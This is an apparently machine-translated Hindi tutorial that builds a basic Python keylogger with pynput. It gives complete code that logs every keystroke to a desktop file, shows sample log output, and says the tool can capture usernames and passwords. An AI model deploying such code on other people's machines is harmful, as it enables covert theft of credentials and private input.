यहां हम अजगर का उपयोग करके एक कीलॉगर विकसित करने जा रहे हैं। लेकिन उससे पहले, keylogger क्या है? कीलॉगर एक प्रोग्राम है जिसके साथ हम कीस्ट्रोक्स की निगरानी करते हैं। ये कीस्ट्रोक्स एक लॉग फ़ाइल में संग्रहीत किए जाएंगे। हम इस कीस्ट्रोक का उपयोग करके उपयोगकर्ता नाम और पासवर्ड जैसी संवेदनशील जानकारी रिकॉर्ड कर सकते हैं।
एक keylogger बनाने के लिए हम pynput मॉड्यूल का उपयोग करने जा रहे हैं। चूंकि यह अजगर का मानक पुस्तकालय नहीं है, इसलिए हमें इसे स्थापित करने की आवश्यकता हो सकती है।
pyxhook मॉड्यूल स्थापित करना -
मैं pynput स्थापित करने के लिए pip का उपयोग करने जा रहा हूँ -
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
यह जांचने के लिए कि हमारा इंस्टॉलेशन सफल है, मॉड्यूल को अपने पायथन शेल में आयात करने का प्रयास करें
>>> import pynput >>>
कीलॉगर बनाना प्रारंभ करें
एक बार आवश्यक पुस्तकालय स्थापित हो जाने के बाद, आवश्यक पैकेज और विधि आयात करें। कीबोर्ड की निगरानी के लिए, हम pynput.keyboard मॉड्यूल की कुंजी और श्रोता पद्धति का उपयोग करने जा रहे हैं। हम अपने कीस्ट्रोक्स को एक फ़ाइल में लॉग करने के लिए लॉगिंग मॉड्यूल का भी उपयोग करने जा रहे हैं।
from pynput.keyboard import Key, Listener import logging
इसके बाद, हम उस पथ को सेट करने जा रहे हैं जहां हम अपनी लॉग फाइलों को स्टोर करने जा रहे हैं, किस मोड में लॉग स्टोर और प्रारूप होंगे।
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
फिर हमने फ़ंक्शन को on_press() कहा जो कीप्रेस के लिए एक परिभाषा बनाता है और कुंजी को एक पैरामीटर के रूप में लेता है।
def on_press(key): logging.info(str(key))
आखिरी चीज जो हम करने जा रहे हैं वह है श्रोता का एक उदाहरण स्थापित करना और उसमें on_press विधि को परिभाषित करना और फिर मुख्य धागे में उदाहरण को जोड़ना।
with Listener(on_press=on_press) as listener: listener.join()
उपर्युक्त चरण को मिलाकर, हम अपना अंतिम कार्यक्रम बनाने के चरण में हैं -
from pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/rajesh/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
जब मेरी स्क्रिप्ट चल रही थी, मैंने एक ब्राउज़र खोलने और "हैलो वर्ल्ड, विकिपीडिया" टाइप करने का प्रयास किया। आइए देखें कि हमारी लॉग फ़ाइल का क्या हुआ -
मैं देख सकता हूँ, मेरे कंप्यूटर डेस्कटॉप में एक "keyLog.txt" फ़ाइल बनाई गई है और अगर मैंने इसकी सामग्री को देखने की कोशिश की तो मुझे -
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
इसलिए हम देख सकते हैं कि मैंने अपने ब्राउज़र में जो कुछ भी टाइप करने का प्रयास किया है, प्रत्येक कीस्ट्रोक इस फ़ाइल में संग्रहीत है। इसलिए, हमने यहां अजगर में एक बहुत ही सरल कुंजी लकड़हारा बनाया है।